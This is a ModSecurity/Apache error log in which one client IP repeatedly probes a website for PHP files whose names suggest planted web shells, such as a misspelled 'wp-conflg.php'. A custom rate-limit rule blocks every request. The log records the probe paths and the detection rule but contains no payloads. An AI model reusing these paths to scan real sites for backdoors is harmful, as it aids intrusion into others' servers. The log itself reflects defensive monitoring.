[Sun Dec 14 23:51:36.739228 2025] [:error] [pid 40595:tid 40617] [client 4.194.187.204:33655] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yas.php"] [unique_id "aT7dCPjrht6y4RN-xKRUsAAAAZI"]
[Sun Dec 14 23:51:39.834471 2025] [:error] [pid 41600:tid 41624] [client 4.194.187.204:8733] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yas.php"] [unique_id "aT7dC9FLTBZjcwNd_VtsuQAAARU"]
[Sun Dec 14 23:51:41.873539 2025] [:error] [pid 39524:tid 39561] [client 4.194.187.204:33384] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yas.php"] [unique_id "aT7dDWrVGpbDzFtDE9MxiwAAAEU"]
[Sun Dec 14 23:51:42.542641 2025] [:error] [pid 40595:tid 40611] [client 4.194.187.204:33638] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp.php"] [unique_id "aT7dDvjrht6y4RN-xKRUtwAAAYw"]
[Sun Dec 14 23:51:48.696942 2025] [:error] [pid 13799:tid 13822] [client 4.194.187.204:8221] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp.php"] [unique_id "aT7dFHjPEin01ElFTNZ1YQAAAhQ"]
[Sun Dec 14 23:52:26.479648 2025] [:error] [pid 41600:tid 41604] [client 4.194.187.204:8237] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/404.php"] [unique_id "aT7dOtFLTBZjcwNd_VttIAAAAQE"]
[Sun Dec 14 23:52:28.500401 2025] [:error] [pid 40596:tid 40635] [client 4.194.187.204:8857] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/404.php"] [unique_id "aT7dPGvZZo4N2X7WoLzGAwAAAck"]
[Sun Dec 14 23:52:30.049774 2025] [:error] [pid 41600:tid 41625] [client 4.194.187.204:33367] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/404.php"] [unique_id "aT7dPtFLTBZjcwNd_VttMQAAARY"]
[Sun Dec 14 23:52:31.510940 2025] [:error] [pid 39524:tid 39562] [client 4.194.187.204:8832] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/404.php"] [unique_id "aT7dP2rVGpbDzFtDE9MxywAAAEY"]
[Sun Dec 14 23:52:34.295261 2025] [:error] [pid 39523:tid 39530] [client 4.194.187.204:35264] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aT7dQjQTQH1raAj2lkgTIwAAAAI"]
[Sun Dec 14 23:52:36.659818 2025] [:error] [pid 40596:tid 40645] [client 4.194.187.204:35134] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aT7dRGvZZo4N2X7WoLzGCgAAAdM"]
[Sun Dec 14 23:52:40.118136 2025] [:error] [pid 41600:tid 41620] [client 4.194.187.204:33698] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aT7dSNFLTBZjcwNd_VttOAAAARE"]
[Sun Dec 14 23:52:42.488732 2025] [:error] [pid 41600:tid 41614] [client 4.194.187.204:30639] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aT7dStFLTBZjcwNd_VttQAAAAQs"]
[Sun Dec 14 23:52:44.924418 2025] [:error] [pid 40561:tid 40572] [client 4.194.187.204:30622] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tox.php"] [unique_id "aT7dTIY6r869zoqRQkQIFQAAAUc"]
[Sun Dec 14 23:52:48.035170 2025] [:error] [pid 13799:tid 13822] [client 4.194.187.204:33884] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tox.php"] [unique_id "aT7dUHjPEin01ElFTNZ1mgAAAhQ"]
[Sun Dec 14 23:52:51.152786 2025] [:error] [pid 13799:tid 13812] [client 4.194.187.204:33684] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tox.php"] [unique_id "aT7dU3jPEin01ElFTNZ1oQAAAgo"]
[Sun Dec 14 23:52:53.142660 2025] [:error] [pid 40561:tid 40577] [client 4.194.187.204:65032] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tox.php"] [unique_id "aT7dVYY6r869zoqRQkQIGgAAAUw"]
[Sun Dec 14 23:52:55.165023 2025] [:error] [pid 39524:tid 39574] [client 4.194.187.204:8208] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lo.php"] [unique_id "aT7dV2rVGpbDzFtDE9Mx_AAAAFI"]
[Sun Dec 14 23:52:55.753587 2025] [:error] [pid 39614:tid 39621] [client 4.194.187.204:8244] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lo.php"] [unique_id "aT7dV_xybG8-9MflbDerpQAAAMU"]
[Sun Dec 14 23:52:58.165254 2025] [:error] [pid 39614:tid 39637] [client 4.194.187.204:31816] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lo.php"] [unique_id "aT7dWvxybG8-9MflbDerqAAAANU"]
[Sun Dec 14 23:52:59.252059 2025] [:error] [pid 39523:tid 39533] [client 4.194.187.204:36682] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lo.php"] [unique_id "aT7dWzQTQH1raAj2lkgTMwAAAAU"]
[Sun Dec 14 23:53:01.054695 2025] [:error] [pid 39525:tid 39606] [client 4.194.187.204:31852] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wpls.php"] [unique_id "aT7dXU1fX_pB_BrvE_57hwAAAJc"]
[Sun Dec 14 23:53:02.743243 2025] [:error] [pid 39525:tid 39583] [client 4.194.187.204:33616] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wpls.php"] [unique_id "aT7dXk1fX_pB_BrvE_57iwAAAIA"]
[Sun Dec 14 23:53:04.988543 2025] [:error] [pid 40595:tid 40617] [client 4.194.187.204:8245] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wpls.php"] [unique_id "aT7dYPjrht6y4RN-xKRVCwAAAZI"]
[Sun Dec 14 23:53:09.631153 2025] [:error] [pid 40561:tid 40586] [client 4.194.187.204:8716] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wpls.php"] [unique_id "aT7dZYY6r869zoqRQkQIJQAAAVU"]
[Sun Dec 14 23:53:12.285112 2025] [:error] [pid 13799:tid 13823] [client 4.194.187.204:31845] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/geck.php"] [unique_id "aT7daHjPEin01ElFTNZ1tAAAAhU"]
[Sun Dec 14 23:53:14.210589 2025] [:error] [pid 39524:tid 39558] [client 4.194.187.204:31833] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/geck.php"] [unique_id "aT7damrVGpbDzFtDE9MyHgAAAEI"]
[Sun Dec 14 23:53:15.136194 2025] [:error] [pid 39614:tid 39631] [client 4.194.187.204:36708] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/geck.php"] [unique_id "aT7da_xybG8-9MflbDertgAAAM8"]
[Sun Dec 14 23:53:17.514331 2025] [:error] [pid 40595:tid 40616] [client 4.194.187.204:34656] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/geck.php"] [unique_id "aT7dbfjrht6y4RN-xKRVFwAAAZE"]
[Sun Dec 14 23:53:19.867588 2025] [:error] [pid 39614:tid 39627] [client 4.194.187.204:8210] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inde.php"] [unique_id "aT7db_xybG8-9MflbDervwAAAMs"]
[Sun Dec 14 23:53:21.955853 2025] [:error] [pid 39614:tid 39636] [client 4.194.187.204:8746] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inde.php"] [unique_id "aT7dcfxybG8-9MflbDerwgAAANQ"]
[Sun Dec 14 23:53:22.225081 2025] [:error] [pid 13799:tid 13805] [client 4.194.187.204:31856] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inde.php"] [unique_id "aT7dcnjPEin01ElFTNZ1vwAAAgM"]
[Sun Dec 14 23:53:58.181237 2025] [:error] [pid 40561:tid 40573] [client 4.194.187.204:34629] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aT7dloY6r869zoqRQkQIqAAAAUg"]
[Sun Dec 14 23:53:58.973821 2025] [:error] [pid 41600:tid 41612] [client 4.194.187.204:8235] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aT7dltFLTBZjcwNd_VtuDAAAAQk"]
[Sun Dec 14 23:53:59.672496 2025] [:error] [pid 39614:tid 39637] [client 4.194.187.204:8219] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aT7dl_xybG8-9MflbDesDwAAANU"]
[Sun Dec 14 23:54:01.711381 2025] [:error] [pid 39525:tid 39590] [client 4.194.187.204:33631] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aT7dmU1fX_pB_BrvE_57tQAAAIc"]
[Sun Dec 14 23:54:02.129722 2025] [:error] [pid 39614:tid 39638] [client 4.194.187.204:31847] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jp.php"] [unique_id "aT7dmvxybG8-9MflbDesEgAAANY"]
[Sun Dec 14 23:54:04.680366 2025] [:error] [pid 40561:tid 40571] [client 4.194.187.204:31821] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jp.php"] [unique_id "aT7dnIY6r869zoqRQkQIrAAAAUY"]
[Sun Dec 14 23:54:05.544618 2025] [:error] [pid 41600:tid 41611] [client 4.194.187.204:34684] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jp.php"] [unique_id "aT7dndFLTBZjcwNd_VtuGQAAAQg"]
[Sun Dec 14 23:54:06.796540 2025] [:error] [pid 13799:tid 13816] [client 4.194.187.204:31854] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jp.php"] [unique_id "aT7dnnjPEin01ElFTNZ2XQAAAg4"]
[Sun Dec 14 23:54:07.944116 2025] [:error] [pid 41600:tid 41603] [client 4.194.187.204:8209] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cccc.php"] [unique_id "aT7dn9FLTBZjcwNd_VtuIwAAAQA"]
[Sun Dec 14 23:54:09.886993 2025] [:error] [pid 41600:tid 41624] [client 4.194.187.204:36727] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cccc.php"] [unique_id "aT7dodFLTBZjcwNd_VtuKgAAARU"]
[Sun Dec 14 23:54:13.199504 2025] [:error] [pid 40595:tid 40602] [client 4.194.187.204:33621] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cccc.php"] [unique_id "aT7dpfjrht6y4RN-xKRVfgAAAYM"]
[Sun Dec 14 23:54:15.216833 2025] [:error] [pid 39523:tid 39529] [client 4.194.187.204:34668] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cccc.php"] [unique_id "aT7dpzQTQH1raAj2lkgTegAAAAE"]
[Sun Dec 14 23:54:15.901721 2025] [:error] [pid 13799:tid 13823] [client 4.194.187.204:8706] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aT7dp3jPEin01ElFTNZ2YQAAAhU"]
[Sun Dec 14 23:54:16.507868 2025] [:error] [pid 40595:tid 40608] [client 4.194.187.204:33614] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aT7dqPjrht6y4RN-xKRVgAAAAYk"]
[Sun Dec 14 23:54:17.746771 2025] [:error] [pid 39614:tid 39628] [client 4.194.187.204:33605] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aT7dqfxybG8-9MflbDesfwAAAMw"]
[Sun Dec 14 23:54:18.520807 2025] [:error] [pid 39523:tid 39550] [client 4.194.187.204:8707] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fe5.php"] [unique_id "aT7dqjQTQH1raAj2lkgTfgAAABY"]
[Sun Dec 14 23:54:20.773045 2025] [:error] [pid 39523:tid 39539] [client 4.194.187.204:8739] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aT7drDQTQH1raAj2lkgThQAAAAs"]
[Sun Dec 14 23:54:23.165698 2025] [:error] [pid 40561:tid 40583] [client 4.194.187.204:8207] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aT7dr4Y6r869zoqRQkQIugAAAVI"]
[Sun Dec 14 23:54:25.102886 2025] [:error] [pid 39523:tid 39547] [client 4.194.187.204:8761] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aT7dsTQTQH1raAj2lkgTigAAABM"]
[Sun Dec 14 23:54:25.464592 2025] [:error] [pid 40561:tid 40585] [client 4.194.187.204:8745] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aT7dsYY6r869zoqRQkQIuwAAAVQ"]
[Sun Dec 14 23:54:28.844276 2025] [:error] [pid 39523:tid 39533] [client 4.194.187.204:8253] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/v4.php"] [unique_id "aT7dtDQTQH1raAj2lkgTjwAAAAU"]
[Sun Dec 14 23:54:34.082445 2025] [:error] [pid 39523:tid 39540] [client 4.194.187.204:33642] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/v4.php"] [unique_id "aT7dujQTQH1raAj2lkgTkwAAAAw"]
[Sun Dec 14 23:54:35.868090 2025] [:error] [pid 40595:tid 40606] [client 4.194.187.204:31818] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/v4.php"] [unique_id "aT7du_jrht6y4RN-xKRVkAAAAYc"]
[Sun Dec 14 23:54:37.224915 2025] [:error] [pid 13799:tid 13811] [client 4.194.187.204:8196] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/v4.php"] [unique_id "aT7dvXjPEin01ElFTNZ2cAAAAgk"]
